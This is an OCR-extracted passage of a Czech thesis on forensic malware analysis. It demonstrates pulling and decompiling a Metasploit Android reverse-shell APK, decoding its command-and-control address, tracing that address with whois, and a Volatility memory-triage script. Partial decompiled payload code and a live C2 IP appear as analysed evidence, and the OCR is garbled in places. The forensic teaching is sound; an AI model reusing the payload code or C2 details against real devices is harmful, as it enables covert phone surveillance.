a Python 3. V této diplomové préci, v Casti ,Praktické ukazky“ bude pouzita
verze CLI zdlvodu vétsSi vSestrannosti a flexibility oproti verzi GUI,
moznosti skriptovani, automatizace a zejména pfidavani plug-in modulu,
zasadné rozSifujicich funkce tohoto nastroje, napf. o vyhledavani
specifickych dat obsazenych v napf. bézicich procesech, nahranych dll
knihovnach, registrech systému MS Windows, souborovém systému atd.

Volatility umoznuje také analyzu hibernacnich a strankovacich
systémovych souborl (hiberfil.sys, pagefile.sys), souboru s vypisem zprav
o selhani systému (crash dump files) a také snimk( (snapshotl) a

ulozenych stavu virtualnich pocitaca (VirtualBox, VMware, QEMU).

19 MobSF. GitHub.com [online]. [cit. 2022-03-08]. Dostupné z: https://github.com/MobSF/Mobile-
Security-Framework-MobSF

20 https://www.volatilityfoundation.org/
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Tento nastroj je mozné instalovat na operaéni systémy Microsoft Windows,
Mac OS X a Linux.

2.5. Jednotlivé nastroje

Process Monitor — jeden z nejpokrocilejSich nastroju pro monitorovani
bézicich procest na platformé Windows. Process Monitor je ke stazeni bud
samostatné nebo jako souc€ast balicku aplikaci Sysinternals. Process
Monitor je velmi pokrocCily nastroj, ktery zaznamenava vSechna systémova
volani a dokaze je na zakladé pravidel filtrovat, protoZe prochazet véechna
volani je vzhledem k jejich mnozstvi takika nerealné. Zaznamenévany jsou
v8echny aktivity procesu, jako je pfistup k registrim, prace se souborovym
systémem nebo sprava procesu (vytvareni novych procest, ukonovani
jinych procesu atd.).

Dependecy Walker - nastroj schopny zobrazit zavislosti nacCitané aplikaci
béZici pod operacnim systémem Windows a vytvaret hierarchicky strom
vS8ech zavislych moduld. Ke kazdému nalezenému modulu vypiSe funkce,
které jsou s nim spojeny a moduly, které jsou z téchto funkci volany.
Process Hacker - nastroj pro monitorovani a provérku procest. Jedna se
0 popularni nastroj pro analyzu malwaru, ktery dokaze extrahovat velké
mnozstvi informaci z procesu, které bézi na zafizeni. Process Hacker je
nastroj s otevienym zdrojovym kdédem, ktery umozriuje zobrazit procesy
bézici na zafizeni, identifikovat programy, které spotfebovavaji zdroje CPU
a sitova pfipojeni, ktera jsou spojena s procesem, vycitat zajimaveé fetézce
z paméti, a tudiz pozorovat a shromazdovat indikatory kompromitace (I0C)
pro vyhodnocovani chovani malwaru.

Diky témto funkcim je Process Hacker idealnim néastrojem pro analyzu
aktivit malwaru na zafizeni.

Disassembler - disassemblery jsou programy, které slouzi k rozlozeni
strojového kdédu programu na jednotlivé instrukce a k jejich pfekladu do
jazyka symbolickych adres nebo i do vy$sSiho programovaciho jazyka
(C/IC++) pro lepSi Ccitelnost uZivatelem. Pfi procesu pfekladu nejsou

instrukce vykonavany, ale pouze zobrazeny a analyzovany. Proto je
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analyza za pomoci disassembleru staticka. VétSina dne$nich
disassemblerli neprovadi jen preklad strojového kodu do jazyka
symbolickych adres, ale poskytuji i dalSi, pro analyzu zajimavé, funkce.
Mezi né patfi napfiklad vyhledavani textovych fetézcu v kodu, vyhledavani
knihoven a funkci, které se importuji a zaroven seznam exportovanych
funkci. Pokrocilé disassemblery také dokazou analyzovat prabéh programu
na zakladé jeho kodu a vytvofit tak graf toku programu. Mezi
nejpouzivanéjsi disassemblery patfi Ghidra, Ida Pro, Binary Ninja aj.
Strings — nastroj z balicku Sysinternals k vyhledani textovych fetézcu
v programu. Vyhledavani textovych fetézcu (stringll) v binarnich souborech
malwaru je jednou ze zakladnich metod statické analyzy. Prostfednictvim
této metody je mozné extrahovat sady bajtu, jejichz hodnoty se nachazeji
v poli tisknutelnych znaku. Tato technika, i pfes svoji jednoduchost, muze
byt velmi GCinna. Byva zdrojem cennych informaci, které mohou byt
zasadni pro forenzni vySetfovani. Mezi témito informacemi se mohou
nachazet tak podstatné udaje, jakymi jsou napf. IP adresa, se kterou
malware komunikuje nebo casti zdrojového kodu, ze kterych je mozné
zjistit, jakeé jsou jeho funkce, napft. jestli malware funguje jako reverzni nebo
bind shell, jestli je implementovan keylogger, screenlogger, funkce pro
kradeze pfihlaSovacich udaju a historie z internetového prohlizece.
RegShot - open-source nastroj pro porovnani registri, ktery umoznuje
rychlé pofizovani snapshotu registri a poté porovnani s druhym, ktery se
provede po spusténi podezielého softwaru. Z porovnani je pak mozné urcit,
jaké zmény software v registrech provedI.

Wireshark - S8iroce pouzivany multiplatformni analyzator sitovych
protokoltu. Umozriuje zachytavani a hloubkovou analyzu sitového provozu.
Ma vestavéné vykonné filtry pro zachytavani i zobrazovani zachycenych
dat, podporuje velké mnozstvi sitovych protokoll. PFi analyze malwaru je
vyuzivan jako prostfedek dynamické analyzy, ktery umoznuje identifikovat
sitovy provoz Skodlivého softwaru.

FakeNet - nastroj, ktery pomaha pfi dynamické analyze Skodlivého

softwaru. Nastroj simuluje sit, takZze malware interagujici se vzdalenym
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hostitelem nadale bézi a umoznuje analytikovi sledovat sitovou aktivitu
malwaru z bezpecného prostredi.

e Oledump - program napsany Vv jazyku Python souzici k analyze soubort
ve formatu OLE (Compound File Binary Format). Tento format soubort
pouziva mnoho aplikaci, zejména MS Office. Programy z tohoto
kancelarského baliku, jakymi jsou Word, Excel, PowerPoint pouzivaji pro

ukladani dat do soubort format OLE.

3. Analyza malware

Analyza Skodlivého softwaru je soubor postupld a technik, vykonavanych
pracovnikem specializovaného pracovisté, za vyuziti jeho znalosti, dovednosti a
technického vybaveni, které sméfuje k zjisténi funkénosti a potencialniho dopadu
konkrétniho malwaru a pfipadné k zjisténi informaci sméfujicich k odhaleni a
dopadeni uto¢nika nebo k zmirnéni &i odstranéni zplsobenych Skod. V kontextu
¢innosti policie prfedstavuje analyza malwaru nastroj pro vyhledavani digitalnich

stop v zajisténém vzorku dat.

Jsou znamy dva typy metod analyzy Skodlivého softwaru: statickd a dynamicka

analyza.

3.1. Staticka analyza
Staticka analyza malwaru je metoda, ktera ma za cil prozkoumat podeziely soubor
bez jeho spusténi. Jejim zakladem je pasivni zkoumani daného vzorku dat, jeho
¢asti a vnitfni organizace za pomoci forenznich nastroju. K analyze je vyuzivano
pristupu zaloZzeném jednak na ovéfeni signatury souboru v databazi signatur jiz
znamého malwaru (napf. vyuzitim antivirovych nastroju nebo on-line nastroju typu

Virustotal®') a zejména na vyuziti postupu reverzniho inzenyrstvi.

Vyhodou statické analyzy je moznost prozkoumani malwaru do vétSi hloubky a

tim padem zajisténi nejpodrobnéjSich informaci z kddu. Jeji nevyhodou (v pfipadé

21 https://www.virustotal.com
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kodu aplikace do asembleru (jazyka strojovych adres) ¢i do vysSiho
programovaciho jazyku (C/C++) a v nasledné analyze kddu programu.

Jednou z véci, na které se lze pfi vreverznim inZenyrstvi zaméfit, je volani
systémovych API funkci, tj. na pfistupy ke zdrojum operaéniho systému, jakymi
jsou napfiklad systémové knihovny. Dale je zkouméano, zda a jaké zmény by se s
operatnim systémem a nainstalovanymi programy provedly. Proto jsou
vyhledavany Casti kédu, které zajistuji zapis do soubort nebo registra, Ci které
zajistuji persistenci v operacnim systému, aby se malware spoustél (typicky po
restartu systému). Podle toho, ke kterym souborlim se vzorek snazi pfistupovat
Ize usoudit, zda se jednd o malware a jaky je jeho ucel, protoze bézny program
nepfistupuje do uréitych umisténi, napfiklad do adresare se systémovymi soubory.
K ur€eni mista, kde kéd pfistupuje k praci se soubory, staCi vyhledat pfikazy,
kterymi jsou volany funkce (v assembleru pfikaz CALL) a z argumentu pfikazu
jakou funkci vola a s jakymi parametry. Podobné Ize pfistupovat k volani dalSich
systémovych zdrojl, jakymi jsou pfistupy k sitovym API, ze kterych |ze vycist napf.

k jakému vzdalenému zdroji se funkce snazi pfistupovat apod.

Kromé zjistovani pfistupu k systémovym zdrojim se Ize v analyzovaném kédu
zaméfit i na dalSi indicie, které mohou naznacovat, ze zkoumany vzorek je

malware.

Takovou indicii muze byt ovéfeni miry entropie dat ve vzorku. Zkomprimovana
data maji vétsi entropii nez dat neSifrovana, jak vyplyvd z Shannonovi teorie
Informacéni  entropie??>. Tohoto poznatku je mozno, suréitou mirou
pravdépodobnosti, vyuzit k uréeni, zda néktery oddil zkoumaného vzorku neméa
nezvykle vysokou entropii, a tudiz zda neobsahuje komprimovana ¢i Sifrovana

data, ve kterych se mohou vyskytovat potencionalni digitalni stopy.

22 |nformaéni entropie. Wikipedia: the free encyclopedia [online]. San Francisco (CA): Wikimedia
Foundation, 2001- [cit. 2022-03-10]. Dostupné z:
https://cs.wikipedia.org/wiki/Informa%C4%8Dn%C3%AD_entropie
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Dalsi indicie mUze poskytnout sledovani periodicity rdznych procesl, nebot
vétsina malwaru v pravidelnych intervalech ovéfuje sitové pfipojeni nebo exfiltruje

ziskana data.

3.2. Dynamicka analyza
Dynamicka analyza, na rozdil od statické analyzy, zkouma podeziely soubor
z hlediska jeho chovani pfi spusténi a béhu. Analyza probiha vizolovaném a
monitorovaném prostfedi, ve kterém mlze byt chovani sledovano a
vyhodnocovano bez rizika poSkozeni nebo ovlivnéni produkéniho operaéniho

systému a rizika dalSiho Sifeni malwaru.

Samotnou dynamickou analyzu lze délit na automatickou a na manualni, s

vyuzitim aplikaci pro monitorovani aktivity procesu a sitové komunikace.

K dynamické analyze se vyuZivaji zejména virtualni pocitate s forenzné
analytickymi distribucemi operaénich systémU viz vySe, které umozniuji
monitorovat zmény v registrech operacnich systému nebo emulovat pfipojeni
k internetu, zachytavat vesSkery nebo konkrétni sitovy provoz a simulovat legitimni

sitové sluzby.

Oproti statické analyze je dynamickd analyza rychlejSi a méné pracna pro
analytika, avS8ak nékteré druhy malwaru mohou mit vestavénou anti-forenzni
ochranu, takze v pfipadé, kdy malware detekuje spustény nebo jen nainstalovany
forenzni program (napf. paketovy sniffer Wireshark) nebo detekuje béh ve
virtualnim prostfedi, dojde k jeho hibernaci nebo rovnou k autodestrukci. Takové

druhy malwaru, pak neni dost dobfe mozné zkoumat pomoci dynamické analyzy.

Dynamicka analyza by méla byt vzdy provadéna az ve chvili, kdy jsou vyCerpany
vSechny moznosti statické analyzy. Statickou analyzou si Ize udélat pfedstavu o
fungovani vzorku malwaru a o jeho potencialnim chovani (pfipojovani k internetu,
prace s registry atd.) a podle toho pak nakonfigurovat prostfedi pro dynamickou

analyzu.

Samotnou dynamickou analyzu lze délit na automatickou a na manualni.
K automatické analyze se vyuZivaji programy znamé jako Sandboxy (napf.
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Cuckoo?®), manualni se provadi za pomoci aplikaci pro monitorovani aktivity

procesu, zmén v systému a sitové komunikace.

4. Praktické ukazky

4.1. Staticka analyza malwaru pro OS Android

K ukazce je pouzit emulator mobilniho telefonu s operaénim systémem Android,

na kterém se projevily indikatory kompromitace.

Vzhledem k tomu, Ze mobilni telefon neni uzaméen heslem (PINem), nebo je
heslo (PIN) zndamo, neni potfeba pfekonavat jeho zabezpecdeni. V opacném
pfipadé je nutné pouzit prostfedkl pro pfekonani tohoto zabezpedceni. V praxi se
pouzivaji zejména komeréni produkty UFED Premium od spol. Cellebrite?* nebo
GrayKey od spol. GrayShift?°.

Zarizeni UFED umozZzniuje rovnéz extrakci dat z podporovanych zafizeni, aviak
v této praktické ukazce bude k ziskani potfebnych dat uzito bezplatnych a volné

dostupnych nastroja.

4.1.1. Priprava analyzy
V mobilnim telefonu s OS Android je zapotiebi nejprve aktivovat rezim ladéni tzv.
ADB?® (Android Debug Bridge). Tento reZim umoziiuje komunikaci s Android
zafizenim pomoci pfikazové fadky a usnadfiuje rizné akce jako je instalace a

ladéni aplikaci a poskytuje pfistup k Unixovému shellu OS Android.

Zpusob aktivace ADB se muze mirné liSit u jednotlivych vyrobcu zafizeni. Napf. u
mobilnich telefoni Samsung se rezim ladéni aktivuje v ,Nastaveni -> O telefonu -

> Softwarové informace -> Cislo sestaveni“. Na volbu ,Cislo sestaveni je zapottebi

23 Cuckoo Sandbox: Automated malware analysis. Cuckoo [online]. [cit. 2022-03-10]. Dostupné z:
https://cuckoosandbox.org/

24 https://cellebrite.com
25 https://www.grayshift.com/
26 https://developer.android.com/studio/command-line/adb
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7x Kliknout. Poté dojde k zobrazeni vyvojaiskych moznosti v menu ,Nastaveni®.
Ve vyvojafskych mozZnostech pak staci, pomoci posuvného tlaitka, aktivovat
volbu ,Ladéni USB".

Zkoumany mobilni telefon pak staci pfipojit, kompatibilnim kabelem, k virtualnimu
forenznimu systému. V ném spustime pfikazovou fadku a pFikazem ,adb
devices” ovéfime, Ze je mobilni telefon viditelny a pfipojeny v rezimu ladéni, jak

je pfedvedeno na obrazku 6.

O user@LAPTOP-X390: ~

:~% adb devices
List of devices attached
adb server version (41) doesn't match this client (39); killing...
* daemon started successfully
emulator-5554  unauthorized

Obrazek ¢&. 6 - Vypis zarizeni pripojenych v rezimu ladéni USB

Z obrazku je patrné, Ze zafizeni s nazvem ,emulator-5554* je pfipojené, ale pfed
jeho ovladanim prostfednictvim adb je potfeba jej jeSté autorizovat pomoci RSA
klice kliknutim na tlacitko ,Povolit* na obrazovce telefonu. Po opakovaném zadani

pfikazu ,adb devices” je patrné, zZe zafizeni je jiz autorizovano (viz Obrazek 7).

9 user@LAPTOP-X390: ~

:~% adb devices

List of devices attached
emulator-5554  device

Obrazek ¢. 7 - Vypis autorizovanych zarizeni v rezimu ladéni USB

Od této chvile je mozné vyuzivat moznosti poskytovanych nastrojem adb.

4.1.2. Vyhledani a zajisténi podezielé aplikace
Vypis instalovanych aplikaci mobilniho telefonu je mozné ziskat pfikazem ,adb

shell pm list® pfikazem ,adb shell pm list -3"je mozné ziskat filtrovany
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vypis aplikaci tzv. tfetich stran, tj. aplikaci vyvojaru odliSnych od vyrobce zafizeni

nebo operacniho systému, tak jak je patrné z obrazku 8.

Ve vypisu jsou zjistény 3 aplikace treti strany: aplikace WhatsApp, aplikace

s ndzvem ,metasploit.stage” a aplikace Mozilla Firefox.

Q user@LAPTOP-X390: ~

adb server version d ); killing. ..
* dae successfully
package:com.whatsapp
packa .metasploit.st
packay rg.mozilla.firefox
~$ o

Obréazek ¢. 8 - Vypis prikazu pro zjisténi aplikaci 3. stran zarizeni Android

Z vypisu se, jiz podle nazvu, jevi jako podeziely bali¢ek ,com.metasploit.package®.
Metasploit?’ je nastroj spole¢nosti Rapid7, ktery slouzi k penetraénimu testovani
ICT technologii. Mimo jiné umoziiuje i generovani malwaru pro zafizeni s OS
Android a jejich nasledné ovladani. Z tohoto divodu se tato aplikace jevi jako

zajmova a bude provedeno jeji zajisténi a analyza.

K zajisténi aplikace je nejprve potfeba zjistit cestu v ulozisti telefonu, kde se

aplikace nachazi (viz Obrazek 9). K tomu je mozné pouzit pfikazu:

,adb shell pm path nazev_balicku*

Q user@LAPTOP-X390: ~

ata/app,

se.apk

Obrazek ¢. 9 - Zjisténi cesty umisténi zajmové aplikace v zafizeni Android

KdyZ je znama cesta, je mozné provést extrakci zajmové aplikace prikazem:

27 https://lwww.metasploit.com/
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,adb pull zjistena_cesta“

4 user@LAPTOP-X390: ~ = a

:~$ adb pull /data/app/~~GgeETtA3qUbmy-1wdANZZA==
e.apk
n't match this client (39); killing...
Fully
Ubmy - Iwd4NZZA==/com. ... pulled. 2.1 MB/s (1@

Obréazek ¢. 10 - Extrakci aplikace ze zkoumaného zarizeni Android

Pfikaz uvedeny v obrazku ¢ .10 extrahoval aplikaci s nazvem ,base.apk® do

aktualniho umisténi uzivatele forenzniho systému.

4.1.3. Reverzni inzenyrstvi aplikace

Pfedmétem analyzy je vzorek s nasledujicimi parametry:

e Na&zev souboru: base.apk
e Velikost souboru: 10.191 kB

e SHA256 Hash:ca2e0e384360178dc4abc35e2bd597f029a24h93257949a00b2fe4b246b483d86

K prohlizeni obsahu bali¢ku aplikace staci provést jeho rozbaleni pfikazem

,unzip base.apk"” (viz Obrazek 11):

9 user@LAPTOP-X390: ~/ base_unzip

$ unzip base.apk

inflating:
inflating:
inflating:

creating:
inflating:
inflating:
inflating:

Obrazek ¢. 11 - Viypis prikazu unzip base.apk

Rozbalenim ziskdme kdédovany soubor ,AndroidManifest.xml“, ktery je v sou€asné
chvili neCitelny a dale soubor ,classes.dex"”. ,dex” je pfipona oznacuijici tzv. Dalvik
executable soubory, coz jsou spustitelné soubory v aplikacich Android. Pro zjisténi

obsahu souboru ,classes.dex” pouzijeme nastroj ,d2j-dex2jar®, ktery pfevede
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spustitelny soubor na soubor typu ,jar* (Java Archive)?8, coz je komprimovany
soubor obsahujici soubory typu class (ifidy), metadata, a zdroje potfebné pro
fadné sestaveni a béh programu. Spusténim pfikazu: ,d2j-dex2jar base.apk”
dojde k vytvofeni souboru s nazvem ,base-dex2jar.jar‘. Tento soubor je nyni

mozné dekompilovat a prohlizet nastrojem ,JD-GUI“%9,

MainActivity.class - Java Decompiler

File Edit MNavigation Search Help
= &4

s base-dex2jar.jari

¢ t# com.metasploit.stage l’ I3 MainActivity.class =2
ol MainActivity.class :

fup MainBroadcastReceiver.class || Ppackage com.metasploit stage;

bk MainService. class :

L Payload.class

’p_?o a.class

i b.class

o :
1= c.class |=public class MainActivity extends Activity {
= d.c:ass il= protected void onCreate(Bundle paramBundle) {
lp &.CASS : super,onCreate (paramBundle) ;
oo f.class : MainService.startService( (Context)this):
b g.class : finish();
H }
1

| »

=import android.app.Activity;
| import android.content.Context;
import android.os.Bundle;

FYYYYYTYYYY

q

Obrazek ¢. 12 - Obsah tfidy MainActivity v okné programu JD-GUI

Zakladni tfidou programl psanych v programovacim jazyce Java je tfida
s nazvem MainActivity, ktera se nachéazi v dekompilovaném souboru
MainActivity.class jak je patrné z obradzku 12. Tato tfida obsahuje metodu
,onCreate” a volani funkce ,startService“ v tfidé ,MainService“, kter4 se nachazi
v souboru  ,MainService.class“. Vice zajimavych informaci  soubor

»MainActivity.class neobsahuje.

Tfrida ,MainService” pak mj. obsahuje funkci ,onStartCommand®, ktera vola funkci
.start“ tfidy ,Payload” (viz Obrazek 13), ktera se nachazi v souboru

.Payload.class”.

28 https://cs.wikipedia.org/wiki/JAR_(souborov%C3%BD_form%C3%AL1t)
29 http://java-decompiler.github.io/
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- MainService.class - Java Decompiler

File Edit Navigation Search Help

= &5 ¢

l/TE base-dexZjar.jarii |

? B com.metasploit.stage 3 fab MainActivity.class 2 r ik MainService.class i2 r fuy Payload.class &2
o fuh MainActivity.class B
o fuh MainBroadcastReceiver.class import android.os. Looper; ol
o fuh MainService.class import java.lang.reflect.Method;
o b Payload.class
o b a.class puhlic_class ﬁainSgrvice extends Service {
o Tk b.class pul:llc{statlc void start() {
o 4o ry
IS %: :‘_cclfaaii Handler handler; ) o —
- 1 e.class Class<?> clazz = Class,forName("android.app.ActivityThread");
o I f class Method method = clazz.getMethod(“cgrrentnppllcatlon"J new Class[O])

. Context context = (Context)method.invoke (null, null)

o b g.class if (context == null) {

handler = new Handler();
this(Looper.getMainLooper());
cec=newel);
this(method);
handler.post(c):
return;

}

startService ((Context)handler);

} catch (ClassNotFoundException classMotFoundException) {

} catch (Exception exception) {}

public static void startService(Context paramContext) {
paramContext.startService(new Intent(paramContext, MainService.class));

public IBinder onBind({Intent paramIntent) {
return null;

public int onStartCommand(Intent paramIntent, int paramIntl, int paramInt2) {
Payload.start((Context)this):
return 1;

l

Obréazek ¢. 13 - Volani funkce "start" z tfidy Payload

Takto Ize postupné prochazet vSechna volani funkci i v ostatnich tfidach a

analyzovat jejich zdrojovy kéd, coz je ovSem mimo rozsah této prace.

Ve zkratce Ize uvést, Ze zajiSténa aplikace ,base.apk® sestavuje tzv. ,reverse
shell* — spojeni k fidicimu serveru a poté vykonava pfikazy zadané uto¢nikem. IP
adresa serveru a port, ke kterému se aplikace pfipojuje se skryva zakédovana ve
tfidé ,Payload“ v proménné typu bytové pole snazvem ,a“ - konkrétné

v hodnotach:

,116, 99, 112, 58, 47, 47, 56, 52, 46, 50, 50, 46, 49, 49, 53, 46, 49, 52, 51, 58, 52,
52, 51°.

Na obrazku €. 14 je uveden jednoduchy script Pythonu, kterym je mozné prevést

tyto znaky na text.
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Q user@LAPTOP-X390: ~/base_unzip

: $
Python 3 18 (default, Nov 26

t", "credi ation.
112, 58, 47, 47, 56, 52, 46, 50, 50, 46, 49, 49, 53, 46, 49, 5

Obréazek ¢. 14 - Script pro prevod hodnot na znaky

Zjisténi maijitele IP adresy lze provést v internetovém registru adres pfikazem
whois 84.22.115.143%

4 user@LAPTOP-X390: ~

tabase is subject to Terms and Conditions.
. ripe.ne /suppo db-terms-conditions.pdf

this output has been filtered.
To receive output for a database update, use the "-B" flag.

% Information related to "84.22.115.9 - 84.22.115.255°'

% Abuse contact for '84.22.115.0 - 84.22.115.255" is 'abuse@tilaa.net’

inetnum: 84. 115.8 - 84.22.115.255

Tilaa
This space is statically assigned
NL
TLRL-RIPE
TLRL-RIPE
status: ASSIGNED PA
remarks: \
mnt-by:
created:
last-modified:
source:

Tilaa admin role
Willemsplein 2

Obréazek ¢. 15 - Vypis prikazu whois
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Z vypisu na obrazku 15. je patrné, Ze zjisténa IP adresa patfi do adresniho
rozsahu (tzv. poolu) 84.22.115.0-84.22.115.255, ktery patfi spol. s nAzvem TILAA,
s adresou Willemsplein 2, Hertogenbosch v Holandsku. V internetovém
vyhledavadi je pak mozné zjistit, Ze spole¢nost TILAA poskytuje pronajem VPS

(virtualnich privatnich serveru).

DalSim krokem organu v €innych v trestnim fizeni tedy bude Setfeni ve spol.
TILAA, prostifednictvim mezinarodni policejni spoluprace za ucelem zjisténi
totoZnosti osoby, ktera si VPS s IP adresou 84.22.115.143 pronajala, ev. OCTR
vyzadaji tzv. ,freezing“ — tedy zajisténi registracnich a pfistupovych udaji a
zejména obsahu datového ulozisté zajmového VPS pro dalsi analyzu, ktera by
mohla pomoci zjistit, jakym zplsobem byl napadeny telefon ovladan, jaka data
byla z telefonu ziskana atd. V ¢eském pravnim prostiedi je tento institut upraven
§7b zakona ¢&. 141/1961 Sb., pfiCemz vyzadovani tzv. freezingu u domécich
poskytovatell internetovych sluzeb (VPS, webhosting, FTP, Cloud...) se provadi
prosttednictvi odboru T2, Utvaru zvlastnich &innosti, Sluzby kriminalni policie a

vysSetifovani, Policie Ceské republiky.

Zbyva jesSté prohlédnout obsah souboru ,AndroidManifest.xml®. K tomu je
zapotiebi rozbaleni a dekdédovani souboru ,base.apk”. K tomu lze pouzit nastroj

apktool.

Syntaxe pfikazu k rozbaleni a dekodovani je: ,apktool d nazev.apk® (viz.
Obrazek €. 16)

G user@LAPTOP-X390: ~

~/.local/share/apktool/framework/1.apk

I:
I:
I:
I:
I:
I:
I:
I:
I:
I:

Obrézek ¢. 16 - Vypis pfikazu apktool

80 https://www.tilaa.com
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Pfikaz vytvofi v aktualnim umisténi slozku s nazvem ,base”, ktera obsahuje
rozbalené a dekddované soubory aplikace, mj. i soubor ,AndroidManifest.xml®.
Tento soubor je obligatorni pro kazdou Android kompatibilni aplikaci. Obsahuje
zakladni informace o aplikaci a také seznam opravnéni, ke kterym ma aplikace

v telefonu pfistup:

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.SEND_SMS"/>ROWSABLE"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.RECORD_AUDIQO"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>

<uses-permission
android:name="android.permission.READ_CONTACTS"/>.MainBroadcastReceiver">

<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>LETED"/>
<uses-permission android:name="android.permission. CAMERA"/>

<uses-permission android:name="android.permission.READ_SMS"/>ce"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE'"/>
<uses-permission android:name="android.permission.SET_WALLPAPER"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission. WRITE_CALL_LOG"/>
<uses-feature android:name="android.hardware.camera"/>

<uses-feature android:name="android.hardware.camera.autofocus"/>

<uses-feature android:name="android.hardware.microphone"/>

Vzhledem k tomu, Ze aplikace ,base.apk® je aplikaci 3. strany, ktera navic neni
pro uzivatele viditelna v seznamu aplikaci na display telefonu (tudiz ji nemuaze ani
védomeé spoustét a ovladat), je rozsah jejich opravnéni nanejvySe podeziely.
Z vypisu je patrné, Ze aplikace ma mj. pfistup ke zjiStovani pfiblizné i pfesné
polohy, k ulozenym kontaktim, k mikrofonu telefonu, k vypisu hovort, ke &teni i
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odesilani SMS, ke kamefe, a to v€etné funkce automatického ostfeni kamery,

k internetu, k Ulozisti atd.

4.1.4. Zavér analyzy
Zavérem analyzy je tedy zjisténi, Ze zkoumana aplikace je jednoznacné malware
pravdépodobné typu spyware, ktery umozfuje vzdalené ovladani zkoumaného
mobilniho telefonu, v€etné jeho senzorq, tj. mikrofonu, kamery a GPS modul, a to
bez védomi uzivatele. Aplikace komunikuje na vzdaleny server na zjiSténé IP

adrese.

Ke statické i dynamické analyze aplikaci pro OS Android Ize vyuzit i dalSi nastroje
jako je napf. Android Studio3!, které nabizi velmi propracované a pohodiné

grafické rozhrani, MobSF nebo apkanalyzer3? pro pfikazovou fadku.

4.2. Staticka analyza malwaru v otisku paméti pocitace
Pfedmétem této praktické ukazky je nastinéni mozného zplsobu vyhodnoceni
potencialni kompromitace opera¢niho systému MS Windows malwarem, a to
analyzou obsahu opera¢ni paméti pocitate s operacnim systémem Microsoft
Windows. Provérka vzorku dat bude provedena prostfednictvim vySe popsaného

nastroje Volatility, instalovaném ve forenzné analytické linuxové distribuci SIFT.
Pfedmétem analyzy je vzorek s nasledujicimi parametry:

e Nazev souboru: mem2_image.raw
e Velikost souboru: 524.288 kB

e SHA256 Hash: 76e8be1a3761878325fdff39a5ab1ff84922a0b18947e5268dd9175795ad2bf0

4.2.1. Prizkum obsahu paméti
Hledani malwaru v otisku paméti je mozné provadét jednak metodou analyzy

procesu, které byly spustény v dobé zajisténi obsahu paméti a dale metodou

81 https://developer.android.com/studio
82 https://developer.android.com/studio/command-line/apkanalyzer
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hledani malware nahraného a spusténého v paméti v dobé zajisténi obsahu

paméti.

K analyze budou vyuZzity moduly pslist, psscan, pstree, psxview, malfind,
moddump, dlldump, detecting shellcode, clamscan a leveraging AV integrované v

nastroji Volatility.

K analyze je tedy predlozen vypis (tzv. dump nebo image) paméti obsazeny
v souboru ,mem2_image.raw“, ktery byl zkopirovan do forenzniho virtualniho
stroje SIFT. Pro automatizaci analytickych uloh byl pfipraven nésledujici bash

script:

#! /bin/bash

mkdir vysledky

mkdir exporty

res=vysledky

exp=exporty

date > $res/imageinfo "$1" .txt

vol.py -f $1 imageinfo | tee -a $res/imageinfo_"$1"\_.txt

echo ""

echo "Zadej KDBG signaturu pro tuto memory image, napr. Win7SP2"

read kdbg
echo ""
echo "Je vybran profil 0S : --profile="$kdbg

# odeslani vsech chybovych hlaseni do NULL

exec 2>/dev/null

# CAST 1: moduly k hledani podezrelych procesu

vol.py -f $1 --profile=$kdbg pslist > $res/pslist_$1\_.txt
vol.py -f $1 --profile=$kdbg psscan 1>$res/psscan_$1\_ .txt
vol.py -f $1 --profile=$kdbg pstree > $res/pstree_$1\_.txt
vol.py -f $1 --profile=$kdbg psxview > $res/psxview_$1\_.txt
# POST PROCESSING LOGIKA - faze 1

grep -E -i "false" $res/psxview $1\ .txt >
$res/psxview_false $1\ .txt

grep -E -i "(system|wininit|lsass|lsaiso|lsm|services)"
$res/pslist _$1\_.txt > $res/pslist_singletons_$1\_.txt

grep -E -1
"(system|wininit|lsass|lsaiso|lsm|services|sms|taskhost|winlogon|
iexplore|explorer|svchost|csrss)" $res/pslist $1\_.txt >
$res/pslist windowscore $1\ .txt

grep -E -1 -v
"(system|wininit|lsass|lsaiso|lsm|services|sms|taskhost|winlogon|
iexplore|explorer|svchost|csrss)" $res/pslist $1\_.txt >
$res/pslist _exclude windows core $1\ .txt

echo "Taskhost trideni:
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nazev taskhost je odlisny v ruznych verzich operacnich systemu!
Vyber spravny nazev!

- taskhost.exe pro Win7

- taskhostex.exe pro Win8

- taskhostw.exe pro Winl®

KRR KRR KRR KKK KR KKK 5> $res/pslist_taskhostcheck $1\_.txt
grep -E -i "taskhost" $res/pslist $1\ .txt >>
$res/pslist_taskhostcheck $1\_.txt

echo "Taskhost trideni:

nazev taskhost je odlisny v ruznych verzich operacnich systemu!
Vyber spravny nazev!

- taskhost.exe pro Win7

- taskhostex.exe pro Win8

- taskhostw.exe pro Winl®

rkRRR Rk kR RRRR kXXX 5> $res/psscan_taskhostcheck $1\ .txt
grep -E -i "taskhost" $res/psscan_$1\_.txt >>
$res/psscan_taskhostcheck $1\ .txt

vol.py -f $1 --profile=$kdbg malfind > $res/malfind_$1\_.txt
vol.py -f $1 --profile=$kdbg malfind -D $exp

file $exp/* > $res/malfind file check $1\ .txt

vol.py -f $1 --profile=$kdbg dlldump -D $exp

vol.py -f $1 --profile=$kdbg moddump -D $exp

clamscan $exp | grep -v ": OK$" > $res/clamscan_$1\ .txt
md5sum $exp/* > $res/md5 exports $1\ .txt

cut -d " " -f1 $res/md5_exports $1\_ .txt >
$res/md5_exports just md5s $1\_ .txt

vol.py -f $1 --profile=$kdbg dlllist > $res/dlllist $1\ .txt
vol.py -f $1 --profile=$kdbg shimcache > $res/shimcache_$1\_.txt
vol.py -f $1 --profile=$kdbg shimcachemem >
$res/shimcachemem_$1\ .txt

vol.py -f $1 --profile=$kdbg mftparser > $res/mftparser_$1\_.txt
vol.py -f $1 --profile=$kdbg mftparser --output=body | mactime -d
-z UTC-0 > $res/mftparser_mactime $1\ .csv

